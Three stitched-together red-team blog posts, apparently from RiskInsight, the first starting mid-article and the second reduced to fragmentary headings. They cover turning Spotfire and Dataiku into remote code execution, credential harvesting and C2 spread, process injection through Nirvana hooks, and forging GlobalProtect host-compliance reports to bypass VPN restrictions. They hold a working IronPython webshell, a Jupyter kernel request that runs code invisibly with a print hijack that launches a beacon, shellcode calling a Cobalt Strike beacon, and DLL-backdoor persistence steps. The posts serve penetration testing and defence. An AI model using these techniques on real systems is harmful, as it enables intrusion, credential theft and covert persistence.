These points can seem irrelevant, but the accumulation leads to the possibility to access to these applications directly from the Internet with unsecured or default credentials still valid or through an authentication bypass fixed few years ago but never patched cause the business doesn’t know or even care…

3. DataScience is RCE as a service

3.1. Why using datascience application

Before getting to the heart of the matter, let’s take some time to discuss the interest and use case of datascience application.

Let’s take as an example a company that sell several types of products such as Amazon or any marketplace. This company wants to see in real time the trending products depending on some user characteristic collected by their website analytics.

They can use an Excel file and try using the Excel VBA features to create graphs and trends, but it would be very painful to manually import all data in the Excel file and for a company with millions of customers, the Excel will likely crash every time some sneeze nearby.

To solve this problem, the company started storing its analytics data in a database that will be called a datalake. Then, when someone wants to create a nice report, he creates a python script that connects to the database, fetch the relevant data, process it through numpy or panda and use matplotlib to draw the graph and trends. This is much better, the application can scale up, is more stable but it asks for technical scripting skills so the business cannot use it by itself.

So, the company decides to develop a nice front-end to wrap all the python script behind a nice UI anyone can use. Users can connect to the application, choose the data to import, process it and draw graph without writing a single line of code.

They just created their first datascience application.

Today, companies will not likely invest several months of development on this type of setup. They prefer to buy an all-in-one commercial application. Among these applications there are Spotfire and Dataiku.

3.2. Where is my RCE?

Datascience application can be summarized as a simple frontend for data processing scripts. And sometimes, the built-in functions are not enough so they expose access to their script engine to allow developers to create custom script that can be fully integrated to the environment and used by the business.

3.2.1. Spotfire

Basic Spotfire infrastructure

When deployed as-is, the Spotfire infrastructure looks like the following figure:

Figure 1: Basic Spotfire infrastructure

The user connects to a WebUI exposed by the Spotfire WebPlayer or through a dedicated Spotfire thick client directly from their workstation and access to their report stored in the Spotfire server. Once the reports are opened, they contact the Spotfire Server to retrieve the data and execute the data cleaning script.

Remote Code Execution

The Spotfire allows by design the execution of R script but execution of Python script can be easily enabled by loading the IronPython scripting module.

In any case, users are able to execute scripts directly from the Spotfire WebPlayer or the thick client. However, they are only able to modify or create script from the Spotfire thick client.

From the thick client, it is possible to create a new project. Inside the project, it is possible to create a UI. Let’s create a webshell Spotfire.

First, we will create the UI. It will consist of a textarea to type the command, another textarea to display the command result and a button to send the command:

Figure 2: Final webshell UI

Once the project has been created, we create a new empty page. When an empty page is created, Spotfire asks if we want to start with data, visualization or other:

Figure 3: Spotfire new page

We will choose “Start from Visualizations” and choose the “Text area” visualization type. This should show a full blank page:

Figure 4: Spotfire new textarea

This textarea will contain the whole webshell input control. Let’s create another textarea for the result:

Figure 5: Spotfire second textarea

So now, we can click on “Edit Text Area” at the top of the first text area. This will allow the customization of the text area content.

First let’s add an input control that will be used to type the command to send to the server:

Figure 6: Text area modification

We will bind the control value to a document property to be able to use it with our future python script. We can create a new property called Input with the data type String:

Figure 7: Bind control to input field

Then, let’s create an action control by clicking on the “Insert Action Control” button at the top of the Edit Text Area window. We click on Script and choose the Control type Button. Then we can create a new IronPython script:

Figure 8: Add button

Fill the script content with the following code:

from Spotfire.Dxp.Application.Visuals import *
from System.IO import *
from System.Drawing import *
from System.Drawing.Imaging import *
from System.Text.RegularExpressions import *
import subprocess
vis=visual.As[HtmlTextArea]()
if 'clean!' in com:
    vis.HtmlContent = ''
else:
    try:
        vis.HtmlContent = "Executing {}".format(com)
        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)
        output, _ = process.communicate()
        vis.HtmlContent='<br>'.join(output.split('\n'))
    except Exception as e:
        vis.HtmlContent="{}".format(e)

This code loads a bunch of Spotfire libraries that are used to communicate with the UI. The “visual” variable represents the text area used to display the result. The “com” variable contains the value of the property bond to our input field created.

The script executes the command stored in the “com” and write the result on the UI element pointed by the “visual” variable.

Now, we have to bind the “visual” and “com” variable to the different project element. In the “Script parameters” table, add a new parameter:

Figure 9: Bind visual parameter

Do the same for the com parameter:

Figure 10: Bind com parameter

So now, when the script is executed, it will automatically bind the visual parameter to the textarea panel used to display the result and the com parameter to the content of the Input property created when defining the input field.

Let’s save all of this. Congratulations, we have a working webshell:

Figure 11: Final webshell

If executed directly from the thick client, the code will only be executed in local, so this is not really interesting. However, if the code is executed directly from the Spotfire Webplayer, it will be executed on the Spotfire server, leading to a remote code execution on the server.

3.2.2. Dataiku

The remote code execution on Dataiku is more straight forward. Indeed, Dataiku directly embeds a Jupyter notebook like features.

By creating a new Jupyter project, it is possible to directly execute command on the server as shown in the following figure:

Figure 12: Code execution with Dataiku

3.2.3. OPSEC consideration

One can say that spawning python process as a child process for Spotfire or Dataiku will lead to hard detection by EDR. However, we have to keep in mind that spawning a python process is a legit behavior for the Spotfire or Dataiku process.

However, if you start to spawn cmd.exe directly from the python script, yes, this could lead to hard detection. But python is known to be suspicious by default and EDR are a little more relaxed about the actions performed by a python process due to several false positive.

So, in a nutshell, spawning the python process should not lead to any specific detection, but you should be careful on the script you will execute from it.

4. Credentials harvesting

Having RCE on a server is always nice, but it is better to know what we can do with it. First of all, if you achieved RCE on a domain join computer, you have an authenticated access to the domain, and when you are coming directly from the internet this is the cherry on the cake.

The specificity of datascience applications is that they are connected to datalake. These connections can be standard SQL connection, but they can also be connection to cloud datalake such as AWS.

With an RCE on the server, you can usually access to all the credentials stored in the application.

4.1. Example with Dataiku

On Dataiku, the secrets are stored in the DATA_DIR/config directory:

Figure 13: Configuration file for dataiku

The users.json contains the user database for dataiku. You can use it to create a new administrator user and keep persistence on the environment.

The connections.json file contains all the credentials to access to the datalakes. However, the passwords are stored encrypted:

Figure 14: Password stored encrypted

Hopefully, Dataiku provides a tool to decrypt these credentials:

Figure 15: Password decryption on Dataiku

You can now use these credentials to jump on the remote database or directly on the cloud if they use AWS Datalake or AWS stored databases.

Finally, the dataiku account that is used to run the Dataiku instance has all privileges on the Dataiku instance data. You can then just retrieve all project data.

5. Spread among the users

This part only applies to Spotfire as Dataiku does not provides thick client and this exploitation relies on the fact that user will execute code on their workstation and not on the remote server.

5.1. Infect other users

Scripts embedded in analysis must be trusted in order to be executed by other users. This trust process is performed through Spotfire users with specific rights. With remote code execution on the Spotfire instance, it is possible to directly create a new administrator user. However, due to the unsecured management on users by the business teams, all users usually have the privileges to trust the scripts.

In order to compromise the users, the Spotfire application can be weaponized as a command-and-control infrastructure.

When the user opens an analysis file from his thick client, the file is locally downloaded, and all scripts contained on the project are executed locally on the user workstation.

Figure 16: Macro view of the Spotfire C2 infrastructure

This analysis sheet has been weaponized through a JS script. When opened by the user, the JavaScript code will be executed leading to the execution of a final python script containing the C2 beacon.

This can be done by adding in any page of the project a new button that will trigger the C2 python runtime. The button can be configured to have a 1px size, making it invisible. Then a JS script can be added to automatically click on the button on a regular basis (every 30 seconds for example).

As long as the analysis file is opened, the JavaScript code will call the C2 python script every 30 seconds allowing execution of arbitrary python script and OS command on the user computer.

Figure 17: Low-level view of the infected analysis file

The only limitation is that the JS will only be triggered if the user opens the specific infected page. This can be bypassed by redirecting the user to the malicious analysis page when he opens it.

When the user opens the infected analysis, it will automatically trigger a data function (which is different from a script).

The datafunction are functions executed when the project is opened. However, their subset of features is limited. They cannot run important python script on a regular basis.

This data function is configured to update a random document property. Spotfire allows setting up some script hook on properties changed. So, when the property is changed by the data function, it will trigger an IronPython script that will display a specific analysis sheet to the user.

Once the infected analysis sheet is focused, it will start the python C2 beacon on a regular basis through the JS script as explained before:

Figure 18: C2 auto run process

When this C2 is deployed, it will stay alive as long as the infected analysis stay open on the user’s workstation.

The following figure shows the compromise of a user workstation and the execution of a remote python script fetched by the python beacon:

Figure 19: Command execution on the user workstation

In order to compromise as many users as possible, it is possible to infect several projects and wait that users click on them.

Usually, companies have specific project templates store somewhere on the Spotfire server. If you find them, you will automatically infect all project based on this template.

5.2. Extend compromise time

This C2 process is interesting but ends when the user closes the infected analysis. In order to have a more persistent access to the user computer, the C2 process is migrated from Spotfire to another python instance on the user computer.

Indeed, when Spotfire is installed, it also installs a raw python interpreter. Through the initial C2, it is possible, through OS command execution, to write another C2 beacon on the user filesystem and trigger its execution by the raw python interpreter.

Figure 20: C2 without Spotfire restrictions

This time, even if the infected analysis is closed, the python process will not be killed as it is not related to Spotfire anymore, granting the attacker persistent access to the user computer as long as no reboot is performed.

5.3. Access persistency

5.3.1. DLL Hijacking

Through the C2 beacon it is possible to spawn an SSH reverse socks. The reverse SSH socks is enough to access to the internal network, however, it will be killed when the user computer is shut down and will not be remounted until the user re-open an infected analysis and trigger again the C2 beacon execution.

In order to get persistence and ensure that the socks will be remounted even if the user computer is rebooted, some modification on application files can be performed on the user workstation.

The users compromised through the Spotfire beacon are data analysts and Spotfire is their main tools and more likely the first application they run when they turn on their computer.

The Spotfire thick client is developed in C#. Its DLLs can be easily reversed, and they are stored in the user APPDATA folder. Thus, with a simple access to the user session, it is possible to modify these DLL without needing specific privilege escalation. Using the SysInternals Procmon.exe, the list of DLL loaded by Spotfire is found. Then, one of this DLL is reversed engineered and infected as shown in the following figure:

Figure 21: DNSpy showing the modified DLL

The malicious code injected will create a new SSH process mounting a new SSH reverse socks when Spotfire is started.

The DLL is recompiled and uploaded on every compromised user workstation and the C2 beacon is modified to execute this action when it detects a new user callback.

5.3.2. OPSEC consideration

While looking like DLL hijacking, this technique is hardly detectable by an EDR as the original DLL has not been swapped by a malicious one as in DLL Hijacking or DLL Proxying. The DLL executed by Spotfire is the original one re-compiled with an additional code spawning a new process.

As the original Spotfire DLL is not signed, the EDR cannot detect the modification.

5.3.3. Resiliency

To avoid being blocked through a firewall rule if the socks IP is blacklisted, the malicious code implanted in the Spotfire DLL does not contain a hardcoded remote IP, port and SSH key, instead, each time it fetches this information from a different remote server.

So even if the SOC blacklist the SOCKS IP, it is possible to remotely change the SOCKS destination IP without needing direct access to the compromised users’ computers.

6. Hide in plain sight

The Dataiku application can be used to masquerade malicious command execution and make it look like performed by another user.

6.1. Jupyter integration in Dataiku

As said before, the Dataiku exposes a Jupyter-like application. Looking at the Dataiku code and the different process run by the DSS instance, it shows that Dataiku didn’t redevelop a Jupyter like applications but simply run a full Jupyter Notebook instance in the background:

Figure 22: Jupyter server running on port 11002

Using a simple port forwarding grant access to the Jupyter instance:

Figure 23: Jupyter instance

When executing a Jupyter cell, it is possible, by performing a network capture, to see the TCP communication between the Dataiku instance and the Jupyter backend:

Figure 24: TCP packet

This shows that the Dataiku instance fully exposes the Jupyter kernel and additional investigation shows that the API TOKEN used by Dataiku to communicate with the Jupyter backend is the same whatever the Jupyter Notebook loaded.

Thus, any user with access to the Jupyter Notebook feature is able to execute code on any Jupyter Kernel loaded as long as it has the kernel ID. Hopefully, the kernels ids are shown in the process command lines. Thus, the following code can be used to retrieve all kernel id:

Figure 25: Kernel ID retrieval

6.2. Hide request execution

Once the kernel id is retrieved, it is possible to create a session on the kernel:

GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1
Host: 10.125.3.111:11000
<SNIP>
Origin: http://10.125.3.111:11000
Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==
Connection: keep-alive, Upgrade
Cookie: <SNIP>
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

This request will create a websocket to communicate with the Jupyter kernel. No specific access control is performed on this endpoint. As long as you are authorized to execute any Jupyter notebook, you can connect to any Jupyter kernel even if you cannot access to the notebook using the UI interface.

It is then possible to use the websocket to send command to execute to the python kernel:

{
  "header": {
    "msg_id": "ef46ce660d49457c890ce550420ed921",
    "username": "username",
    "session": "f4fe997b336f4a019c4c6837df699d30",
    "msg_type": "execute_request",
    "version": "5.2"
  },
  "metadata": {},
  "content": {
    "code": "print('test')",
    "silent": false,
    "store_history": true,
    "user_expressions": {},
    "allow_stdin": true,
    "stop_on_error": true
  },
  "buffers": [],
  "parent_header": {},
  "channel": "shell"
}

What is interesting is that the command is executed, but not saved in any Jupyter cell leading to invisible command execution as long as the kernel is alive.

Moreover, if you modify the value of a specific variable, it will be persistent. So, if you send the python command:

def hijacked_print(value):
    import sys
    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)
    sys.stdout.write('hijacked print: {}'.format(value))

print = hijacked_print

The beacon will be executed when a user uses the print command and because the previous python execution didn’t let any trace behind, good luck to detect it and find which user has been compromised.

7. Conclusion

The datascience applications are useful in any step of the killchain. For a remote attacker, they can be used as an initial entry point on the information system, they can be leveraged to find insecurely stored credentials to rebound on the information system, their scripting capabilities can be used to spread malicious beacon among several users and the data they contain can be easily stolen and exfiltrated.

These applications are undercut by either attackers or IT department. A simple compromise of one of these applications can lead to a huge impact on the whole information system.

It is time to for the infosec to start integrating buzzword as BigData and machine learning in the killchain, attacker already did it…

Cet article DataScience for RedTeam: Extend your attack surface est apparu en premier sur RiskInsight.

Nirvana Debugger

Definition

 

Figure 3: Execution flow is redirected

Implementation

On a remote process

Process Injection With NtSetInformationProcess

Nirvana hook wrapper

• First the CobaltStrike beacon is written at the given address ${CSAddr} in the remote process memory space.
• Then the Nirvana Hook, that will perform a CALL ${CSAddr}, is written at another address ${NirvanaAddr} in the remote process memory space.

• The kernel only performs a JMP on the hook address letting him redirect the execution flow to the calling NT function.
  This part is an interesting lesson on Windows internals. As the kernel will be performing a JMP/CALL on a userland function on behalf of the user mode to run the Nirvana hook, it could be a way to bypass the Windows Control Flow Guard, because this check is usually performed on userland with the LdrpValidateUserCallTarget function.
  Here, the kernel had to reimplement this function under the name MmValidateUserCallTarget to ensure the callback address is in the allowed function range:

• The calling function address is stored in the R10 registry.
• The syscall’s return address is stored in the R11 registry.

push rbp
mov rbp, rsp
push rax
push rbx
push rcx
push r9
push rl0
push rll
movabs rax, ${CSAddr}
call rax
pop r11
pop r10
pop r9
pop rcx
pop rbx
pop rax
pop rbp
jmp r10

push rbp
mov rbp, rsp

; This will modify the instruction push RBP into JMPR10
mov qword ptr[rip – 15] 0xE2FF41

push rax
push rbx
push rcx
push r9
push rl0
push rll
movabs rax, ${CSAddr}
call rax
pop r11
pop r10
pop r9
pop rcx
pop rbx
pop rax
pop rbp
jmp r10

Wrapping it all together

• Open the notepad.exe process with your process opening primitive
• Allocate a RX buffer in the notepad.exe process for the Cobaltstrike beacon
• Modify the Nirvana shellcode in order to call the Cobaltstrike beacon address in the remote process
• Allocate an RWX buffer in the notepad.exe process for the Nirvana Hook
• Write both the shellcode and the Cobaltstrike beacon in their respective buffer
• Add a new Nirvana Hook using the NtSetInformationProcess
• Wait for the notepad to perform a syscall

Drawbacks

EDR inspection

Conclusion

Cet article Process Injection using NtSetInformationProcess est apparu en premier sur RiskInsight.

A great part of pentester’s job is to bypass the restrictions set up by security tools, this VPN being the perfect exercise for a pentester.

This article is not meant to show a fancy 0day, but to expose the thinking pentesters use when dealing with a black box security tool.

The exploit path presented in this article takes for granted that:

• The attacker already has access to a valid set of user’s credentials
• The attacker has managed to get a limited access to a workstation for a limited period of time

Depending on the VPN configuration, this last prerequisite can be optional.

Discovering the environment

With access to the computer, the first thing we tried was to extract the VPN client binary and use it on the attack computer.

The VPN tested was the Palo Alto GlobalProtect solution, and the VPN client can be easily downloaded on Internet. Once the client is installed on the computer, a connection is initialized. The VPN initialized a connection with the VPN portal exposed on Internet and a Microsoft authentication is triggered:

The domain credentials worked, and the VPN tunnel was successfully mounted. However, all connections were filtered, and it was not possible to even reach the domain controller as it had initially been hinted by the clients.

Global Protect Host Information Profile

Global Protect VPN, as several other business VPN, allows administrators to define a host information policy.

This host information policy allows the server to verify that the user computer is compliant with the company’s security policy before allowing access to the company’s internal network.

This type of access control can be tuned, and administrators can simply reject any non-compliant devices as well as limit the protocols allowed for the device. For example, a computer that does not comply with the company’s security policy could be restricted to only access a web application exposed in the internal network but not access any other internal resource.

The VPN client then collects host information once the user has successfully signed in on the VPN gateway and an update is sent on a regular basis to ensure the computer is still compliant with the company’s security policy.

Information collected

Global Protect can collect the following information:

• General: Information about the host itself such as hostname, logon domain, OS etc…
• Patch Management: Information about any patch management software installed on the machine
• Firewall: Information about the firewall software deployed and its status
• Anti-malware: Information about the anti-malware/anti-spyware software deployed and its status
• Disk backup: Information on whether disk backup software is installed and enabled
• Disk encryption: Information on whether disk encryption software is installed as well as which disks are encrypted and what encryption method is used
• Data loss prevention: Information on whether a DLP software is installed and enabled
• Certificate check: Information on the certificates deployed on the computer
• Custom checks: Information on registry keys, user-space application etc…

All the information collected can be retrieved on the client GUI:

Thus, if you have access to a machine that can legitimately connect to the VPN, it is possible to retrieve a sample of an allowed host configuration.

Hijack the profile

The host profile (that will be named HIP report from now) is thus generated by the host and sent to the gateway.

The first thick client pentesting rule is: If you generate it, you can tamper it. Thus, instead of modifying the host configuration – which can be painful and require the knowledge of how Global Protect retrieves this information – it should be possible to tamper the HIP report sent to the VPN gateway.

Go in easy with a proxy

A quick and dirty way to tamper the HIP report is to intercept the requests and modify the report sent to the VPN.

The VPN client communicates with the VPN gateway using the HTTPS protocol. Therefore, it is only possible to intercept the traffic and modify the content sent if the VPN does not securely check the VPN gateway certificate.

In order to intercept the traffic, we need to:

1. Configure Burp as a transparent proxy and configure the redirection in Burp to forward the request to the VPN gateway
   
   
   
   
2. Add the Burp certificate to the Windows certificate store
3. Specify the Burp address as a VPN gateway in GlobalProtect
   
   

From now, when a VPN connection is performed, Burp will be able to intercept the traffic. However, with this technique, it was not possible to login:

It was not possible to understand what raised this error, maybe due to some certificate pinning or other security solutions: the easy solution did not yield any positive result.

Understand the logic

The Burp solution out of the way, it appeared mandatory to understand how the VPN works. The first thing done was to monitor the VPN processes during the connection to identify the VPN executables to target and what their role in the profile generation is.

ProcessHacker showed several processes implied in the profile generation:

• PanGps.exe: executed as Administrator
• PanGpa.exe
• PanGpHip.exe
• PanGpHipMp.exe

Procmon gave a lot of information and showed that the PanGpHip.exe and PanGpHipMp.exe binaries were launched by the PanGps.exe binary:

Finally, exploring the Global Protect installation folder showed several detailed log files, which have been really helpful during the reverse and debugging process:

Additionally, during the VPN connection an XML file is created and contains the full HIP Report that has been generated during the connection process. However, the creation of this file was not reported in Procmon.

In order to ease the exploitation, the report generated on the domain joined machine was retrieved. Depending on the VPN configuration, part or totality of this report can be guessed but it will complexify the exploitation scenario.

Static approach

The idea was to understand the purpose of each executable and how they were communicating with each other.

PanGPA.exe

Killing the PanGPA.exe process showed that it corresponded to the user GUI. Nothing really interesting appeared in this executable.

PanGpHip

The PanGpHip.exe binary was the first to be reversed as its name gave hints on its features.
Ghidra was used to analyze the .rdata section to look at the hardcoded strings. Several strings could help to understand the goal of the binary.

For example, the following strings shows that this executable is used to retrieve the host configuration:

Likewise, the following string shows that the process write the HIP report:

Looking at the references for these strings shows, they are part of a C++ object:

Indeed, the vftable is a table containing all virtual functions from a C++ object. It can be guessed that all the functions contained in this vftable are used to retrieve some configuration information on the host.

After analyzing each virtual method, it is possible to start understanding how the object works:

From now on, it is a known fact that this binary is used to generate the HIP Report. However, the string pan_gp_hrpt.xml, which is the filename of the file containing the Hip Report and written on the disk is not present in the binary. Therefore, there is a high probability that the XML report it is not written on the disk by this executable.

The first idea was the PanGpHip.exe binary generates the report and forwards it to the PanGPS.exe executable that will write it on the disk as it is the only one executed with Administrator privileges, so with enough privileges to write in the Program Files directory.

The issue was to ensure that the report generated by the binary was the XML report is actually sent to the VPN gateway and is not an aggregation of binary data that could not be easily modified.

In order to avoid reversing several functions, a dynamic approach was preferable for this task. The binary is not statistically compiled, and several Win32 Api are used. Using ApiMonitor it is possible to spy on the Win32 API calls performed by the binary.

ApiMonitor was configured to intercept every call performed to the WriteFile Win32 API. At the end of the PanGpHip.exe execution, the full XML report was written in a file:

However, it was not possible at this moment to find the file where this content was written on. This point was set aside for a moment to progress on the reversing of the parent binary.

PanGPS

We saw earlier through Procmon that PanGPS.exe launches the PanGpHip.exe binary. Through Ghidra, it is possible to search how it is launched. This information is interesting because if a communication is performed among binaries, some PIPE or sockets should be used to allow the interprocess communication, with a high probability that they are created by the parent process.

The following code is used to run the PanGpHip.exe process:

The process creation is performed using the Win32API CreateProcess. The StartupInfo object is created with the following code:

The stdin, stdout and stderr file are overwritten with custom PIPE created by PanGPS.exe as it is shown in the following figure:

Thus, through these PIPE objects the PanGpHip.exe process will be able to communicate the Hip Report generated.

Using API Monitor this assumption has been verified. The tool was configured to intercept the CreatePipe, ReadFile and WriteFile Win32 API calls. First, it was verified that the PanGPS.exe binary really read the HIP Report:

This API call shows that the XML report is, at a moment, forwarded from PanGpHip.exe to PanGPS.exe. Looking at the parameters used in the ReadFile, the PanGPS.exe binary read the data from the 0x5A0 handle.
Looking at the CreatePipe calls, this handle represents the PIPE used as the stdout for the PanGpHip.exe process:

Likewise, if the WriteFile API call performed by the PanGpHip.exe process is analyzed, the handle that is used will be the one related to the stdout PIPE created by the PanGPS.exe process.
The following figure summarizes the interactions between the different components:

With:

• PanGPS: the high integrity process that communicates with the VPN gateway
• PanGpHip: the process spawned by PanGPS that generate the compliance report
• PanGpHipMip: the process spawned by PanGPS that check for known vulnerabilities on the different host programs

Tamper the profile

The previous figure highlighted that hijacking PanGpHip to write a tampered compliance report on its stdout should be sufficient:

A simple C code was written:

Then the PanGpHip.exe file was replaced by this program and a VPN connection was attempted. However, looking at API Monitor, the PanGPS.exe process never retrieved the HIP Report. Actually, the thread used to launch and parse the PanGpHip.exe process was in an idle state (this can be seen in APIMonitor cause the calls performed by each thread were highlighted in a unique color).

Looking in the code of PanGPS.exe, the following wait condition can be seen:

The WaitForMultipleObject condition stalls the PanGPS.exe program as long as the child process does not raise a given event.

It was possible to dynamically retrieve the event definition using APIMonitor again, analyze the parameters used with WaitForMultipleObject and linking the ID with the related CreateEvent parameters.
Looking at the code, the binary creates a specific event using the CreateEvent Win32 API. APIMonitor confirmed that this event is in the list of the waited event.

Another C code, taking this event into account, was written:

Once again, the program was compiled, and used to replace the PanGpHip.exe file. However, even with this modification, the PanGPS binary did not receive the full report.

Using, API Monitor, it was noted that the printf did not use the WriteFile Win32API at all. At first, we thought that under the hood, printf would call the WriteFile API as it just writes data into a PIPE but that was a wrong assumption.

The program is once again modified to use the WriteFile API:

Even with this modification, it was not possible to retrieve the report in the PanGPS.exe binary. Our last option was to reverse, again, the PanGpHip.exe binary to understand how it writes the data in the PIPE.

In fact, the process does not directly write the report in the PIPE, it first writes 10 bytes that represent the size of the report, and then, the full report. This behavior is quite expected as the PanGps.exe process read the full report in one call and, thus, must know the full size of the report to be able to use the ReadFile Win32Api.

Thus, the exploit binary must:

1. Compute the report final size
2. Format the size on a 10-byte string
3. Write this size on the communication PIPE handled by stdout
4. Notify the PanGPS.exe process using the HipReportReadyInOtherProcess event
5. Write the report on the communication PIPE handled by stdout
6. Notify the PanGPS.exe process using the HipReportReadyInOtherProcess event

Finally, the script was modified as follows:

Once the VPN is launched, the modified script is executed, and the tampered profile is sent to the VPN gateway instead of the profile that would be generated by the initial PanGpHip.exe binary.

As the profile sent matched a compliant profile expected by the VPN gateway, the rogue computer was granted access to the internal network without restrictions.

Conclusion

VPN clients and appliances are interesting as they allow remote workers to access the internal network and emulate an in-office experience. However, they also expand the attack surface as an attacker could use them to remotely access the internal network.

In order to mitigate these risks, VPN companies set up some verification rules to avoid unknown devices to access the internal network. These rules often take place as compliance checks that cannot be easily tampered with.

However, because the compliance report is generated directly by the host, an attacker can simply hijack the part of the program that sends the report to the VPN Gateway and injects its own tampered report. Thus, this compliance checks must not be taken as a proof that the connecting computer belongs to the organization.

An “easy” way to prevent these kinds of attacks is to authenticate the user AND the computer accessing to the VPN. This can be done through the use of a machine certificate verification with an asymmetric authentication process.

An 802.1X-like authentication protocol using certificates could be a viable solution for VPN access as this authentication mechanism authenticates the computer, giving a proof that the connecting computer really belongs to the organization.

In this case, even if the attacker can tamper with the compliance checks performed, he will not be able to pass the computer authentication validation and won’t be able to access to the internal network.
However, these solutions can still be bypassed with computer certificate extraction or vulnerability related to 802.1X authentication, but these attacks need Administrators privileges on the computer and/or a physical access to the machine: if an attacker already has Administrators rights or physical access to one of your Domain Workstation, there are way more serious troubles ahead. Additional protections can also be set in place to further harden the access to the certificate, such as storing them on a Virtual Smartcard hosted on the TPM chip.

In a nutshell, if the compliance checks have been set up to avoid users connecting personal devices with a degraded level of security to the VPN, it can do the job.

However, if they have been set up as a network access control mechanism to avoid attackers with valid credentials and host configuration to access to the internal network using their attack machine, they are not sufficient.

Yoann DEQUEKER
Senior Auditor

Cet article Bypassing host security checks on a modern VPN solution est apparu en premier sur RiskInsight.